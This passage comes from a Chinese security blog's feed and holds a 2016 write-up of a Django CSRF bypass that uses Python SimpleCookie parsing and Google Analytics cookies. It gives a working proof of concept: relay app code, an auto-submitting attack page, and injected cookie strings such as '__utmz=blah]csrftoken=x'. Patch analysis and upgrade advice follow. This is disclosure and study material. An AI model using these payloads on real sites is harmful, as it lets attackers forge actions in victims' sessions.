        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http_cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CookieError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;# Invalid cookie&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cookiedict&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cookiedict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookiedict&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;根据动态调试发现这里的&lt;code class=&quot;highlighter-rouge&quot;&gt;SimpleCookie&lt;/code&gt;也就是我们上面所说的存在漏洞的对象，从而可以确定Django中对cookie的处理也是存在漏洞的。&lt;/p&gt;

&lt;p&gt;我们再来看看Django的CSRF防护机制，默认CSRF防护中间件是开启的，我们访问&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1:8000/check/&lt;/code&gt;，点击Check然后抓包：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-200.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;的值是相同的，其中&lt;code class=&quot;highlighter-rouge&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;的值如图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-csrf-form.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;也就是Django对&lt;code class=&quot;highlighter-rouge&quot;&gt;check.html&lt;/code&gt;中的&lt;code class=&quot;highlighter-rouge&quot;&gt;{% csrf_token %}&lt;/code&gt;所赋的值。&lt;/p&gt;

&lt;p&gt;我们再改下包，使&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;不相等，这回服务器就会返回403：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-403.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;我们再把两个值都改成另外一个值看看：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-200-1.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;依然成功。&lt;/p&gt;

&lt;p&gt;所以Django对于CSRF的防护就是判断cookie中的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;和提交的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;的值是否相等。&lt;/p&gt;

&lt;p&gt;那么如果想Bypass这个防护机制，就是要想办法设置受害者的cookie中的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;值为攻击者构造的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrdmiddlewaretoken&lt;/code&gt;的值。&lt;/p&gt;

&lt;p&gt;如何设置受害者cookie呢？Google Analytics帮了我们这个忙，它为了追踪用户，会在用户浏览时添加如下cookie：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;其中&lt;code class=&quot;highlighter-rouge&quot;&gt;[HOST]&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;[PATH]&lt;/code&gt;是由Referer确定的，也就是说当&lt;code class=&quot;highlighter-rouge&quot;&gt;Referer: http://x.com/helloworld&lt;/code&gt;时，cookie如下：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;由于Referer是我们可以控制的，所以也就有了设置受害者cookie的可能，但是如何设置&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;的值呢？&lt;/p&gt;

&lt;p&gt;这就用到了我们上面说的Django处理cookie的漏洞，当我们设置Referer为&lt;code class=&quot;highlighter-rouge&quot;&gt;http://x.com/hello]csrftoken=world&lt;/code&gt;，GA设置的cookie如下：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;当Django解析cookie时就会触发上面说的漏洞，将cookie中&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;的值赋为&lt;code class=&quot;highlighter-rouge&quot;&gt;world&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;实际操作一下，为了方便路由我们在另一个IP上再开一个DjangoApp作为中转，其中各文件如下：&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;urls.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.conf.urls&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.contrib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;app.views&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;route&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;urlpatterns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'^admin/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;site&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'^hello'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;views.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.shortcuts&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.http&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HttpResponse&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Create your views here.&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'route.html'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;route.html&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'http://127.0.0.1:8000/ga/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;开启中转App：&lt;code class=&quot;highlighter-rouge&quot;&gt;python manage.py runserver xxx&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;构造一个攻击页面：&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;csrf&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://127.0.0.1:8000/check/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;csrfmiddlewaretoken&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;boom&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sleep&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;poc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'http://redirect-server/hello]csrftoken=boom'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'csrf'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;submit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;poc()&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt; Click me &lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;当我们点击&lt;code class=&quot;highlighter-rouge&quot;&gt;Click me&lt;/code&gt;，会先打开一个窗口，再回到原窗口，就可以看到保护机制已经绕过：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-success.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;再访问一下&lt;code class=&quot;highlighter-rouge&quot;&gt;http://127.0.0.1:8000/check/&lt;/code&gt;，可以看到此时cookie中的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrftoken&lt;/code&gt;和form中的&lt;code class=&quot;highlighter-rouge&quot;&gt;csrfmiddlewaretoken&lt;/code&gt;都已被设置成&lt;code class=&quot;highlighter-rouge&quot;&gt;boom&lt;/code&gt;，证明漏洞成功触发：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-cookie-boom.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-form-boom.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;攻击流程如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-bypass-flow.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3补丁分析&quot;&gt;3.补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;可以看到这个漏洞在根本上是原生Python的漏洞，首先看最早在2.7.9中的patch：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-patch279.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;将&lt;code class=&quot;highlighter-rouge&quot;&gt;search&lt;/code&gt;改成了&lt;code class=&quot;highlighter-rouge&quot;&gt;match&lt;/code&gt;函数，所以再遇到非法符号匹配会停止。&lt;/p&gt;

&lt;p&gt;再看该文件在2.7.10中的patch：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-patch2710.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这里将&lt;code class=&quot;highlighter-rouge&quot;&gt;[\]&lt;/code&gt;设置为了合法的value中的字符，也就是&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__utmz=blah]csrftoken=x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__utmz&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'blah]csrftoken=x'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;同样Python3在3.2.7和3.3.6中也做了相应patch：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-patch336.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-patch327.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;不过尽管上面对&lt;code class=&quot;highlighter-rouge&quot;&gt;[\]&lt;/code&gt;做了限制，但是由于pattern最后&lt;code class=&quot;highlighter-rouge&quot;&gt;\s*&lt;/code&gt;的存在，所以在以下情况下仍然存在漏洞：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Cookie&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__utmz=blah csrftoken=x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__utmz=blah&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x09&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;csrftoken=x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__utmz=blah&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x0b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;csrftoken=x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'__utmz=blah&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x0c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;csrftoken=x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__utmz&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'blah'&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csrftoken&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'x'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这些情况在最新的Python中并没有被修复，不过在实际情况中由于浏览器和脚本的原因，这些字符不一定会保存原样发送给Python处理，所以在利用上还要根据场景来分析。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Django&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Django在1.9.10和1.8.15中做了相同的patch：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-django1910.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;它放弃了使用Python内置库来处理cookie，而是自己根据&lt;code class=&quot;highlighter-rouge&quot;&gt;;&lt;/code&gt;分割再取值，使特殊符号不再起作用。&lt;/p&gt;

&lt;h2 id=&quot;0x02-修复方案&quot;&gt;0x02 修复方案&lt;/h2&gt;

&lt;p&gt;升级Python&lt;/p&gt;

&lt;p&gt;升级Django&lt;/p&gt;

&lt;h2 id=&quot;0x03-参考&quot;&gt;0x03 参考&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://hackerone.com/reports/26647&quot;&gt;https://hackerone.com/reports/26647&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a&quot;&gt;https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage&quot;&gt;https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 28 Sep 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/09/28/django-csrf-bypass.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/09/28/django-csrf-bypass.html</guid>
        
        
      </item>
    
      <item>
        <title>Drupal 8 配置文件下载漏洞</title>
        <description>&lt;h2 id=&quot;0x00-漏洞概述&quot;&gt;0x00 漏洞概述&lt;/h2&gt;

&lt;h3 id=&quot;1漏洞简介&quot;&gt;1.漏洞简介&lt;/h3&gt;

